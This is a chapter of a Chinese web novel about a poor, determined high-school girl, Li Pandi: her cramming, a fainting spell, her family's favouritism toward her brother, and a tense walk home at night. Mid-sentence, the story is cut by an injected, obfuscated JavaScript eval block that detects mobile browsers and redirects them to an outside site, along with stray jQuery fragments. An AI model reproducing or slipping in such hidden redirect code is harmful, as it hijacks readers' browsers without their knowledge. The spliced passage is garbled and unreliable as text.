第二天,李盼娣找班主任请假,趁着午休的时间出了校门。
距离学校一公里左右有家书店,班里很多同学会去那里买教辅书。
李盼娣原本觉得太贵,一直在犹豫。月考成绩却给了她当头棒喝,看来学习的钱还是不能省。
书店不大,教辅书大多平放在中间的两张方桌上。
李盼娣认真翻看了很久,给自己选了《重难点手册》和《高中必刷题》,又给杨静带了本《教材讲解》。
她都能猜得出来,将《教材讲解》送给杨静的时候,对方必定又敢怒不敢言,满脸写着“我送你奶糖和星星,你就这么回报我?”
李盼娣没忍住乐了。
临走的时候看了一圈两边贴着墙的书架,发现左边都是些国内外知名作家的小说散文等等。李盼娣想起语文老师说的要提高阅读量,又犹豫着挑了一本。
然而这本书在课桌里没呆够一天,甚至连塑料包装纸都没拆,就因为班主任突击检查被没收了。
学校是不允许将课外书带进教室的,李盼娣买的名著稍微好一点。班里很多同学的《花火》《爱格》《意林》除了惨遭没收之外,还附带了每人一千字检讨。
李盼娣很无奈,心说不带进教室,但在宿舍洗漱时间又安排得那么紧张,熄灯之后更是不允许用台灯,那指望我们用什么时间来提高阅读量呢?每月一天半的假期吗?
接下来李盼娣全身心投入了题海当中,为了节省排队时间,常常擦着食堂快关门的点去买俩馒头,夹着从家里带来的咸菜就是一顿饭。
孔雀见她这样,也开始跟着学,都是尖子生,谁又甘心屈居人后。
吴赛男被两个饭搭子抛弃倒也不在意,说:”你们干脆也别去食堂了,我给你们带回来吧。”
孔雀一个飞吻过去说:“好呀好呀,爱你。”
吴赛男嫌弃地擦了擦脸。
不过孔雀学了没两天就坚持不下去了,她苦着一张脸看李盼娣:“盼盼你真的不累吗?我们出去透透气吧?”
李盼娣左手举着馒头,右手握着笔打草稿,头都没抬道:“我这道题还没解出来,你先去,不用管我。”
孔雀一脸敬佩,犹豫两秒,鸟儿一样飞去了教室外。
靠着这股子非人的毅力,期中考试李盼娣进步很大,考到了年级第89名。
这让她松了一口气,利用吃晚饭的时间想去学校澡堂舒舒服服地洗个澡。
至于为什么非要晚饭时间去,这就又要说到她们学校的变态规定了——给每个班排班洗澡时间,每半个月才能轮到一次,轮到自己班级时,那天的最后一节晚自习就可以不上。
除此之外,如果爱干净等不了那么久,那就只能利用晚饭时间了——想洗澡就没时间吃饭。
李盼娣洗的过程中就觉得头晕,心慌,她以为是水蒸气引起的憋闷,没太在意。等洗完出去穿衣服的时候手已经抖得不成样子,眼前一阵一阵发黑,勉强穿好,再也控制不住倒了下去。
再次醒过来时是在学校医务室,她躺在唯一的床上,手上挂着点滴。
班主任黑着一张脸坐在旁边,见她醒了劈头盖脸一顿输出:“早跟你们说了不要饿着肚子去洗澡,不听,自己低血糖不知道啊?出了事谁负责?”
李盼娣还真不知道自己有这毛病,只能装鹌鹑道:“我知道错了老师。”
孔雀弱弱地告状:“老师,盼盼中午就没好好吃饭,其实……她这一个月都差不多这样……”
李盼娣这才发现她也在,正蹲在角落里画圈圈。
李盼娣顿时一个眼刀甩过去,企图让她闭嘴。
孔雀把头一扭,心说我看不见我看不见,继续道:“老师您快管管她。”
班主任叹了口气:“老师知道你积极上进,但再努力也得注意身体对不对?这才高一,你要是把自己身体折腾坏了,你拿什么去高考?”
李盼娣乖顺点头。
班主任又看了眼孔雀,没好气道:“放下你手里的冰糕棍,逗蚂蚁好玩儿?你几岁了?去把你作业拿过来,在这儿写,顺便看着她,我回班里了,有问题再去喊我。”
孔雀乖巧应好。
医务室里只剩下了李盼娣和孔雀两人。
李盼娣呵呵笑了两声:“没看出来呀,我们小孔雀很会告状呀。”
孔雀哼了一声,嘿嘿笑:“我还没说你总翘掉早操呢。还不快谢谢我。”
李盼娣哭笑不得,她哪能不知道孔雀也是为了她好,这个月她疯了一样不管不顾地学习的样子到底是让朋友们担心了。
她也确实没想到自己身体这么不抗造,想了想保证道:“我以后好好跑步,好好吃饭。谢谢你。”
此时她想的“好好吃饭”是每天早饭和午饭去食堂,尽量多吃点肉和蔬菜,晚饭还是省点钱,啃一顿馒头问题不大吧?
结果没想到第二天,班主任就宣布了“禁止在教室吃饭”的规矩,李盼娣被迫再次加入食堂抢饭大军。
杨静知道她低血糖晕倒的消息之后,再次送了她一盒大白兔奶糖,态度强硬地要求她以后必须随身带一两颗。
任凭李盼娣怎么解释那只是个意外都不听不听。
学校每个月补贴200块钱,李盼娣本来想着足够了,不愿意跟家里要钱。她觉得只要有一日跟家里要钱,她就一日无法有足够的底气挺直腰杆儿做人,连吵架都有顾忌。
但现在既要花钱买书,又要吃饱吃好,再加上卫生巾卫生纸牙膏香皂等等这些生活必需品,李盼娣怎么算钱都不太够花。
放假那天她还在发愁,回家后发现桌上堆着中午的锅碗瓢盆还没洗,米粒都干在了上面,地上有很多碎瓷片。
李盼娣顿时就明白这是她爸妈又吵架了,她妈赌气没洗碗,她爸发火摔了盘子。
她习以为常地扫了地,洗了碗,看天色不早了,又去做饭。
李博裕像是踩着风火轮一样从外面跑进来,手都没洗就去捏她刚盛到盘子里的炒土豆丝。
李盼娣毫不留情拍他一巴掌,让他去喊大人吃饭。
李博裕慢吞吞走了两步,又捏着衣角回头:“二姐
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16241197|181231||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
你去喊吧?我帮你拿碗筷。”
李盼娣一顿,瞥他一眼:“又闯祸了?”
李博裕挠头,这才断断续续地讲了,他今天出去玩,拿着玻璃碎片故意在别人家新车上划着刻字。
然后被人家发现,拽着他来家里,张口就要三千块赔偿。
金玉霞当场气得要揍儿子,李博裕鬼哭狼嚎地喊着“奶奶救我”。
李奶奶护孙子护得紧,说小孩子不懂事,骂人家小心眼儿,还说一点划痕又不影响开,凭什么要他们赔钱。
金玉霞觉得不能这么教育孩子,没忍住跟婆婆争论了几句,李建业顿时就不干了:“你怎么说我妈呢?你当着孩子的面顶撞长辈,这才是反面教材。”
你来我往地呛了几句,李建业又抬手摔了盘子。
搞得来要赔偿的那人都无语了:“能不能看看我?我还在这儿呢,先把钱赔我,再随便你们吵。”
最后又讨价还价半天,赔了一千五。
李盼娣第一反应是,一千五够她买多少书啊!
李博裕闯了这么大的祸,他自己都有点心虚,然而饭桌上长辈们却都若无其事,李奶奶继续给孙子夹肉夹菜。
金玉霞看起来是气消了,念叨着:“博裕一会儿把脏衣服脱下来妈给你洗。”
李盼娣饭都吃不下去了,心里堵得慌。她想凭什么呢?这祸要是她闯的,奶奶高低得挂在嘴边骂她三个月。
她又想,她为什么不愿意跟父母要钱?她才十六岁,还未成年,花父母的钱不是理所当然吗?她凭什么为此感到心虚?就算她不要,家里的钱也不会省下,反而会全都花到她弟弟身上。
想通这一点,李盼娣就开始庆幸,幸好她当初只跟家里讲了免学费,但并未说学校会给补贴的事情。
于是饭后,她去了父母房间,直接道:“我生活费花完了,爸给我点吧?”
李建业像是才反应过来上学还需要生活费这事儿来一样,咦了一声道:“怎么突然跟我要?你前两个月谁给的钱?”
金玉霞愣了两秒,瞪着李建业:“咋?前俩月你没给闺女钱?”
“我以为你给了呢。”
“你混蛋……”
李盼娣在心中翻了个白眼儿,眼看他们又要吵起来,忙说:“之前是我姐给的,但她还要交自己的学费,我不能再要了,爸你给我点呗。”
或许是出于愧疚,李建业很慷慨地给了她两百,说:“不够了再跟爸讲。”
李盼娣捏着崭新的两张粉红钞票,笑了笑,嘴甜道:“谢谢爸,你真好。”
*
有了钱,李盼娣后来又找时间去了趟书店,这次是吃完晚饭后去的,为了晚自习不迟到,李盼娣抄近路走了附近正在拆迁的工地。
眼看快要过冬,日落时间越来越早,去的时候还好,回来的时候天已经完全黑了。
路灯忽闪忽灭,风吹进脖子里,有点冷,李盼娣抱着书加快脚步,却隐约听见身后的人也加快了步伐。
她定住,回过头,只见一个臃肿的黑影向着自己冲过来……